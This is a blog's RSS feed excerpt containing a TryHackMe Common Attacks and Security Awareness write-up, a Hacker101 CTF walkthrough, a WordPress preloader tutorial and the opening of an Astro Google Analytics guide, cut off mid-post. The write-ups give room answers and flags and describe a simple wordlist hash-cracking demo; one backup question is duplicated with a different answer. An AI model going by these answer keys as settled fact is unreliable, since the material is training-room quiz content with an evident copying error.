&lt;p&gt;Social Engineering is the term used to describe any cyberattack where a human is the target, sometimes referred to as &quot;People Hacking&quot;. These attacks can become very complex, are often multi-layered, and escalate due to the snowball effect, potentially leading to an attacker gaining control over a target&apos;s life.&lt;/p&gt;
&lt;p&gt;Other forms of social engineering include dropping USB storage devices in public or leaving malicious &quot;charging cables&quot; in the hope that someone will plug them into a computer. The Stuxnet virus, for example, originally infected its target by having workers plug in malicious USB devices they found.&lt;/p&gt;
&lt;p&gt;To stay safe, you should:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Set up multiple forms of authentication.&lt;/li&gt;
&lt;li&gt;Never plug external media into a computer you care about.&lt;/li&gt;
&lt;li&gt;Always insist on proof of identity when a stranger calls or messages you claiming to work for a company.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Read the task information and watch the attached videos&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What was the original target of Stuxnet?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Iran Nuclear Programme&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Social Engineering: Phishing&lt;/h2&gt;
&lt;p&gt;Phishing is a sub-section of social engineering where an attacker tricks a victim into opening a malicious webpage by sending them a text message, email, or other online correspondence. The victim is then often asked to enter sensitive information, like login details or credit card information.&lt;/p&gt;
&lt;p&gt;There are three primary types of phishing attacks: General Phishing, Spearphishing, and Whaling.&lt;/p&gt;
&lt;p&gt;To identify phishing, look for poor grammar, similar but not identical domain names, and suspicious &quot;From&quot; email addresses.&lt;/p&gt;
&lt;p&gt;To stay safe:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Delete unknown or untrusted emails.&lt;/li&gt;
&lt;li&gt;Never open attachments from untrusted emails.&lt;/li&gt;
&lt;li&gt;Do not click on embedded links in emails or messages.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.CeSAoghT_Z281lxn.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Phising Email (The link actually goes to a different website than advertised.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.CFvZSOoT_Zo6Ady.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Phising Email (There is a misspelling in the domain name of the sender. It only contains one g instead of two.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.DePSoDKz_Z1tsK6U.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Email Looks Safe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.BOBcQ9or_Z10HeD3.webp&quot; alt=&quot;alt text&quot;&gt;\&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Phising Email (Don&apos;t trust pdf file attachments that are not from a trusted source or unexpected as they could contain malware .)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the flag?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{I_CAUGHT_ALL_THE_PHISH}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Malware and Ransomware&lt;/h2&gt;
&lt;p&gt;Malware is any software designed to perform malicious actions on behalf of an attacker, such as to steal information, cause damage, or execute arbitrary commands.&lt;/p&gt;
&lt;p&gt;Ransomware is a specialised class of malware used to infect as many systems as possible, encrypting the data on the devices and holding it to ransom.&lt;/p&gt;
&lt;p&gt;Delivery methods often revolve around social engineering or phishing attacks, such as sending an email containing a file with a malicious macro.&lt;/p&gt;
&lt;p&gt;To stay safe:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Always accept updates and patches.&lt;/li&gt;
&lt;li&gt;Never click on suspicious links or open file attachments.&lt;/li&gt;
&lt;li&gt;Always back up important data.&lt;/li&gt;
&lt;li&gt;Make sure antivirus software is always up-to-date.&lt;/li&gt;
&lt;li&gt;If infected with ransomware, do not pay the ransom; instead, call your local authorities.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;[Research] What currency did the Wannacry attackers request payment in?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Bitcoin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Passwords and Authentication&lt;/h2&gt;
&lt;p&gt;Passwords are an integral part of most authentication systems, but even a robust password is useless if the same password is used for more than one service.&lt;/p&gt;
&lt;p&gt;Current best practices for strong passwords lean more towards length than complexity. The most secure option is using long, completely random passwords, which is mitigated by using a password manager. A weak password is any password that could easily be guessed. Of equal importance to password strength is password reuse.&lt;/p&gt;
&lt;p&gt;The industry-standard password storage method is password hashing. If a service gets hacked and passwords are leaked, attackers can perform &quot;credential stuffing&quot; attacks — using your stolen username and password pair against other services.&lt;/p&gt;
&lt;p&gt;Put yourself in the shoes of a malicious hacker. You have managed to dump the password database for an online service, but you still have to crack those hashes!&lt;/p&gt;
&lt;p&gt;Click the green button at the start of the task to deploy the interactive hash brute-forcer!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Based on the content of the website, you have generated a list of likely passwords, which is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TryH@ckMe&lt;/li&gt;
&lt;li&gt;TryHackMe123&lt;/li&gt;
&lt;li&gt;THM123456&lt;/li&gt;
&lt;li&gt;qwertyuiop123&lt;/li&gt;
&lt;li&gt;TryHackMe2021&lt;/li&gt;
&lt;li&gt;TryHackMe123!&lt;/li&gt;
&lt;li&gt;TryHackMe345&lt;/li&gt;
&lt;li&gt;TryHackM3!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Copy the list of passwords into the &quot;Password List&quot; field of the hash cracker, then click &quot;Go&quot;!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.D6Aj3by__Z2uOz5A.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Look at the &quot;Current Word / Hash&quot; section of the hash cracker.&lt;/p&gt;
&lt;p&gt;Notice that for each word in the list you entered, the cracker is creating an MD5 hash of the word then comparing it to the Target Hash. If the two hashes match then the password has been found!&lt;/p&gt;
&lt;p&gt;The hash cracker should find the password that matches the target hash very quickly.&lt;/p&gt;
&lt;p&gt;What is the password?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TryHackMe123!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a very simple, browser-based example; however, in reality local hash cracking with a wordlist isn&apos;t any more complex from a high-level perspective — it&apos;s the same technique, but with a lot more potential passwords!&lt;/p&gt;
&lt;p&gt;Hopefully this example illustrates why it is so important to choose a strong password — even if the passwords are hashed appropriately.&lt;/p&gt;
&lt;p&gt;In the next task we will look at some of the common account protection measures, as well as how to generate secure passwords.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Multi-Factor Authentication and Password Managers&lt;/h2&gt;
&lt;p&gt;Multi-Factor Authentication (MFA) is any authentication process where you need more than one thing to log in. You should always activate multi-factor authentication where available, using an &quot;Authenticator App&quot;.&lt;/p&gt;
&lt;p&gt;Password Managers provide a safe space to store your passwords in encrypted &quot;vaults&quot; accessed using a master password. They are the recommended way to handle authentication for your many accounts and can be used to generate long, completely random passwords.&lt;/p&gt;
&lt;p&gt;Where you have the option, which should you use as a second authentication factor between SMS based TOTPs or Authenticator App based TOTPs (SMS or App)?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;App&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Public Network Safety&lt;/h2&gt;
&lt;p&gt;Public WiFi gives an attacker ideal opportunities to intercept and record traffic to steal sensitive information; this is referred to as a &quot;man-in-the-middle&quot; attack.&lt;/p&gt;
&lt;p&gt;The ideal solution is simply not connecting to untrusted networks. When that is not feasible, Virtual Private Networks (VPNs) encrypt all traffic, rendering any interception techniques useless.&lt;/p&gt;
&lt;p&gt;All websites should use an encrypted HTTPS connection, represented by a padlock. The presence of the padlock indicates that the connection is secure; it does not guarantee that the website itself is safe. If you are accessing a website without the padlock symbol, never enter any credentials or sensitive information.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.8xcieHGB_Z2vqMiU.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Deploy the interactive content by clicking the green button at the top of the task.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The interactive content for this task demonstrates what can happen if information is sent over a potentially unsafe network with various types of encryption (or lack thereof). There is no flag for this task, but you are encouraged to try each of the different scenarios, mixing and matching the options provided in the control box at the bottom right of the screen.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 8: Backups&lt;/h2&gt;
&lt;p&gt;Backups are arguably the single most important defensive measure you can take to protect your data.&lt;/p&gt;
&lt;p&gt;The golden standard for taking backups is the &quot;3,2,1 rule&quot;, which specifies that you should always keep at least three up-to-date copies of your data, stored on at least two different storage mediums, with one backup stored &quot;off-site&quot;.&lt;/p&gt;
&lt;p&gt;Of equal importance is the frequency at which you take backups, which usually depends on the sensitivity of the data.&lt;/p&gt;
&lt;p&gt;What is the minimum number of up-to-date backups you should make?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the minimum number of up-to-date backups you should make?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 9: Updates and Patches&lt;/h2&gt;
&lt;p&gt;When vulnerabilities are discovered in software, developers release special updates called patches. It is imperative that you update software whenever possible.&lt;/p&gt;
&lt;p&gt;Despite a patch having been made available, the Wannacry ransomware was still able to attack millions of unpatched systems. When software becomes EOL (End Of Life), it must be replaced as soon as possible.&lt;/p&gt;
&lt;p&gt;Antivirus software works using a local database of known exploit signatures, which must be kept up-to-date. If antivirus software is not allowed to update, the local signature database will quickly become outdated, resulting in malicious software potentially falling through the gaps.&lt;/p&gt;
&lt;p&gt;(Optional) Complete the &lt;a href=&quot;https://tryhackme.com/room/blue&quot;&gt;Blue&lt;/a&gt; room on TryHackMe to see the brutal effects of the Eternal Blue exploit in action against an unpatched machine for yourself!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 10: Conclusion&lt;/h2&gt;
&lt;p&gt;I have completed the Common Attacks room!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;p&gt;Alhamdulilah, hope it useful&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.XLua_hmU.png"/><enclosure url="/_astro/image.XLua_hmU.png"/></item><item><title>Security Awareness | TryHackMe Write-Up</title><link>https://farros.co/blog/security-awareness-tryhackme-writeup/</link><guid isPermaLink="true">https://farros.co/blog/security-awareness-tryhackme-writeup/</guid><description>An introduction to security awareness; why its important, the impact of being attacked, different threat actors and basic account security.</description><pubDate>Sat, 13 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/securityawareness&quot;&gt;Security Awareness&lt;/a&gt;, an introduction to security awareness; why its important, the impact of being attacked, different threat actors and basic account security. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/room-icons/d3d7881518d71dc929b4e84c2b47ed55.png&quot; alt=&quot;THM&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction to Security Awareness&lt;/h2&gt;
&lt;p&gt;Read why security awareness is so important for everyone.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Why Security Awareness is essential&lt;/h2&gt;
&lt;p&gt;Security awareness training is a must-have skill to counter efforts by attackers and reduce risks within the business. A few of the benefits are below:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Help prevent data breaches&lt;/li&gt;
&lt;li&gt;Minimize and reduce risks and threats&lt;/li&gt;
&lt;li&gt;Improve IT defenses&lt;/li&gt;
&lt;li&gt;Improves customer confidence&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Data and account security&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d617515c8cd8348d0b4e68f/room-content/e24ebaf9a04fa7dd8ded2cac4b9e73e7.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;How many people were affected by eBay being hacked?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;145 million&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What data was leaked from Playstation being hacked?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;names, addresses, e-mail, birth dates&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Check if you&apos;ve ever been part of a cyber breach&lt;/h2&gt;
&lt;p&gt;Go to haveibeenpwned.com and see if your information has ever been part of a breach. If you have, don&apos;t panic - ensure you change the breached accounts password. The next room in this module will talk about how you can use a password manager to create unique passwords for all your accounts.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Cyber threat actors&lt;/h2&gt;
&lt;p&gt;The motivation of threat actors may vary and can be categorized into different groups:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nation-state cyber threat actors are geopolitically motivated.&lt;/li&gt;
&lt;li&gt;Cybercriminals are financially motivated.&lt;/li&gt;
&lt;li&gt;Hacktivists are ideologically motivated.&lt;/li&gt;
&lt;li&gt;Terrorist groups are motivated by ideological violence.&lt;/li&gt;
&lt;li&gt;Thrill-seekers are motivated by satisfaction.&lt;/li&gt;
&lt;li&gt;Insider threat actors are motivated by discontent.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Who would most likely be interested in exploiting a business?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cybercriminals&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Who would most likely be interested in exploiting a personal computer for fun?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Thrill-seekers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Who would most likely be interested in exploiting a website to deliver a message?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hacktivists&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Conclusion&lt;/h2&gt;
&lt;p&gt;This room introduced you to the basics of security awareness concepts and knowledge that can help you stay safe online.&lt;/p&gt;
&lt;p&gt;Complete this task and join the &lt;a href=&quot;https://tryhackme.com/room/commonattacks&quot;&gt;common attacks&lt;/a&gt; room.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.BythobMp.png"/><enclosure url="/_astro/image.BythobMp.png"/></item><item><title>Hacker101 CTF | A Little Something to Get You Started</title><link>https://farros.co/blog/hacker101-ctf-a-little-something-to-get-you-started/</link><guid isPermaLink="true">https://farros.co/blog/hacker101-ctf-a-little-something-to-get-you-started/</guid><description>A quick walkthrough for the Hacker101 CTF challenge. Learn how to find hidden information and flags using your browser&apos;s built-in developer tools.</description><pubDate>Thu, 11 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;CTF Begin&lt;/h2&gt;
&lt;p&gt;First, you can start the CTF and then you will wait to be redirected to a new URL.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.CjraMC8R_Z1edyu6.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then you can see in the image below that the CTF has started.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.B6EyonC7_Z7irE0.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can check the developer tools (Ctrl + Shift + I) and then we find an image, even though we do not find any images on the page.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.HvsegCei_Z1qAHMO.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can try to open the URL path and then, yes, we find the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.BUYpBNgo_1bdnca.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Why Is This a Vulnerability?&lt;/h2&gt;
&lt;p&gt;This type of flaw is categorized as &lt;strong&gt;Information Disclosure&lt;/strong&gt; or &lt;strong&gt;Improper Asset Management&lt;/strong&gt;. It&apos;s considered a vulnerability because the application exposes sensitive information or resources that should not be publicly accessible.&lt;/p&gt;
&lt;p&gt;Even though it&apos;s &quot;hidden&quot; from the main view, any user can easily discover it using standard browser tools.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Case in the Real World:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In a real-world scenario, instead of a CTF flag, an attacker might find:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;API Keys:&lt;/strong&gt; Secret keys for services like AWS, Google Maps, or Stripe, leading to unauthorized access and financial loss.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Internal URLs:&lt;/strong&gt; Paths to admin panels, internal dashboards, or backup files (&lt;code&gt;.bak&lt;/code&gt;, &lt;code&gt;.config&lt;/code&gt;) that were never meant to be public.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Developer Comments:&lt;/strong&gt; Snippets of code, old passwords, or business logic left in HTML/CSS/JS comments.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An attacker can use this leaked information as a foothold to launch more severe attacks on the system.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Alhamdulillah. Hope it useful.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image-2.B6EyonC7.png"/><enclosure url="/_astro/image-2.B6EyonC7.png"/></item><item><title>Add an Advanced Preloader to WordPress</title><link>https://farros.co/blog/add-an-advanced-preloader-to-wordpress/</link><guid isPermaLink="true">https://farros.co/blog/add-an-advanced-preloader-to-wordpress/</guid><description>Learn how to add a stylish preloader with a CSS spinner and percentage counter to your WordPress site for a better user experience.</description><pubDate>Mon, 25 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This tutorial is intended for intermediate to advanced users who are familiar with the WordPress file structure and the use of cPanel/FTP. The steps described below involve modifying core files and directory structures. Any mistake in following this guide can result in an inaccessible website or data loss.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You are proceeding at your own risk.&lt;/strong&gt; The author strongly recommends that you perform a &lt;strong&gt;full backup (both files and database)&lt;/strong&gt; before attempting any method in this article. The author is not liable for any damage or data loss that may occur.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;strong&gt;How to Add an Advanced Preloader with a Percentage Counter to WordPress&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Improve your website&apos;s user experience by implementing a dynamic preloader that displays a clean CSS rotation animation, your site logo, and a percentage counter that moves from 0% to 100%.&lt;/p&gt;
&lt;p&gt;The counter will quickly move to 99%, waiting for the page to load, before reaching 100% and gracefully disappearing.&lt;/p&gt;
&lt;p&gt;Here&apos;s how to add it to your WordPress theme manually.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Step 1: Add the HTML Structure&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;First, we need to place the HTML for the preloader right after the opening &lt;code&gt;&amp;#x3C;body&gt;&lt;/code&gt; tag so it&apos;s the first thing to render.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Location:&lt;/strong&gt; Edit your theme&apos;s &lt;code&gt;header.php&lt;/code&gt; file and place the following code directly after the &lt;code&gt;&amp;#x3C;?php wp_body_open(); ?&gt;&lt;/code&gt; function.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;div class=&quot;preloader&quot;&gt;
    &amp;#x3C;div class=&quot;preloader-content&quot;&gt;
        &amp;#x3C;div class=&quot;loading-spinner&quot;&gt;&amp;#x3C;/div&gt;
        &amp;#x3C;img class=&quot;preloader-logo&quot; src=&quot;YOUR_LOGO_URL&quot; alt=&quot;Logo&quot;&gt;
        &amp;#x3C;div class=&quot;percentage-counter&quot;&gt;0%&amp;#x3C;/div&gt;
    &amp;#x3C;/div&gt;
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Replace &lt;code&gt;YOUR_LOGO_URL&lt;/code&gt; with the actual URL of your logo image, which you can upload via the WordPress Media Library.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Step 2: Style the Preloader with CSS&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Next, we&apos;ll add the CSS to make the preloader a full-screen overlay, center the content, and create the spinning animation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Location:&lt;/strong&gt; In your WordPress dashboard, navigate to &lt;code&gt;Appearance &gt; Customize &gt; Additional CSS&lt;/code&gt; and add the following code.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* ===== Preloader Styling Start ===== */
.preloader {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 9999;
    background-color: #ffffff; /* Change background color here */
    display: flex;
    justify-content: center;
    align-items: center;
}

.preloader-content {
    text-align: center;
}

/* Spinner Animation */
.loading-spinner {
    border: 4px solid rgba(0, 0, 0, 0.1); /* Base ring color */
    border-left-color: #333; /* Spinning part color */
    border-radius: 50%;
    width: 50px;
    height: 50px;
    animation: spin 1s linear infinite;
    margin: 0 auto 20px auto; /* Space between spinner and logo */
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

/* Preloader Logo */
.preloader-logo {
    max-width: 150px; /* Adjust max logo size */
    height: auto;
    display: block;
    margin-bottom: 20px; /* Space between logo and percentage */
}

/* Percentage Counter Text */
.percentage-counter {
    font-size: 24px;
    font-weight: bold;
    color: #333; /* Percentage text color */
    font-family: sans-serif;
}
/* ===== Preloader Styling End ===== */
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Step 3: Implement the JavaScript Logic&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;This is the core logic that runs the percentage counter and hides the preloader once the site is fully loaded. WordPress includes jQuery by default, so we can use it directly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Location:&lt;/strong&gt; Edit your theme&apos;s &lt;code&gt;footer.php&lt;/code&gt; file and place the following script just before the closing &lt;code&gt;&amp;#x3C;/body&gt;&lt;/code&gt; tag (and after the &lt;code&gt;&amp;#x3C;?php wp_footer(); ?&gt;&lt;/code&gt; function).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;script&gt;
jQuery(document).ready(function($) {
    let counter = 0;
    const counterElement = $(&apos;.percentage-counter&apos;);

    // Start an interval to increment the counter (simulates progress)
    const interval = setInterval(() =&gt; {
        if (counter &gt;= 99) {
            clearInterval(interval); // Stop at 99%
            return;
        }
        counter++;
        counterElement.text(counter + &apos;%&apos;);
    }, 30); // The interval speed in ms. Smaller is faster.

    // The &apos;load&apos; event fires when the entire page is fully loaded
    $(window).on(&apos;load&apos;, function() {
        // Clear the interval just in case it&apos;s still running
        clearInterval(interval);
        
        // Force the counter to 100%
        counterElement.text(&apos;100%&apos;);
        
        // Add a short delay for the user to see 100%, then fade out
        $(&apos;.preloader&apos;).delay(300).fadeOut(500);
    });
});
&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you have added these three code blocks, your WordPress site will now feature a professional and dynamic preloader that improves the perceived performance and overall user experience.&lt;/p&gt;
&lt;p&gt;The repo link is also posted here: &lt;a href=&quot;https://github.com/farrosfr/jquery-preloader-with-counter&quot;&gt;https://github.com/farrosfr/jquery-preloader-with-counter&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;p&gt;Alhamdulillah. Hope it usefull.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.BFbCLxnF.png"/><enclosure url="/_astro/image.BFbCLxnF.png"/></item><item><title>Add Google Analytics to Astro: The Complete Guide</title><link>https://farros.co/blog/add-google-analytics-to-astro-the-complete-guide/</link><guid isPermaLink="true">https://farros.co/blog/add-google-analytics-to-astro-the-complete-guide/</guid><description>A complete guide to integrating Google Analytics in Astro using best practices: layouts, environment variables, and handling View Transitions for good tracking.</description><pubDate>Mon, 18 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hello everyone, in this article, we&apos;ll cover how to integrate Google Analytics into your Astro project.&lt;/p&gt;
&lt;p&gt;Here, we&apos;ll discuss how to leverage Astro&apos;s features: &lt;strong&gt;centralized layouts&lt;/strong&gt;, &lt;strong&gt;environment variables&lt;/strong&gt;, and handling &lt;strong&gt;View Transitions&lt;/strong&gt;. Let&apos;s get started!&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;strong&gt;Prerequisites&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Before proceeding, ensure you have the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;An existing Astro project.&lt;/li&gt;
&lt;li&gt;A Google Analytics (GA4) account.&lt;/li&gt;
&lt;li&gt;Your &lt;strong&gt;Measurement ID&lt;/strong&gt; (typically in the &lt;code&gt;G-XXXXXXXXXX&lt;/code&gt; format).&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;strong&gt;Step 1: Configure Environment Variables for Security&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Hardcoding sensitive keys or IDs directly into your source code is poor practice. Instead, we&apos;ll use environment variables.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create a new file in your project&apos;s root directory (at the same level as &lt;code&gt;package.json&lt;/code&gt;) and name it &lt;code&gt;.env&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add your Measurement ID to this file in the following format:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;# .env
PUBLIC_GA_ID=G-XXXXXXXXXX
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;G-XXXXXXXXXX&lt;/code&gt; with your actual ID. The &lt;code&gt;PUBLIC_&lt;/code&gt; prefix is a specific Astro instruction that makes the variable accessible on the client-side (in the browser).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remember to add &lt;code&gt;.env&lt;/code&gt; to your &lt;code&gt;.gitignore&lt;/code&gt; file to prevent it from being committed to your Git repository.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.CHBz6Hh__Zfp1pU.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;strong&gt;Step 2: Add Global Types for TypeScript&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;If your project uses TypeScript (as most Astro projects do), you need to inform the TypeScript compiler about the global variables (&lt;code&gt;gtag&lt;/code&gt; and &lt;code&gt;dataLayer&lt;/code&gt;) that the Google script will create. This prevents errors during development.&lt;/p&gt;
&lt;p&gt;Open your &lt;code&gt;src/env.d.ts&lt;/code&gt; or &lt;code&gt;src/types.d.ts&lt;/code&gt; file and add the following global declaration:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// src/env.d.ts or src/types.d.ts

declare global {
  interface Window {
    dataLayer: any[];
    gtag: (...args: any[]) =&gt; void;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.CIRhmKTb_1UCrbH.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;strong&gt;Step 3: Implement in the Base Layout (&lt;code&gt;BaseLayout.astro&lt;/code&gt;)&lt;/strong&gt;&lt;/h2&gt;
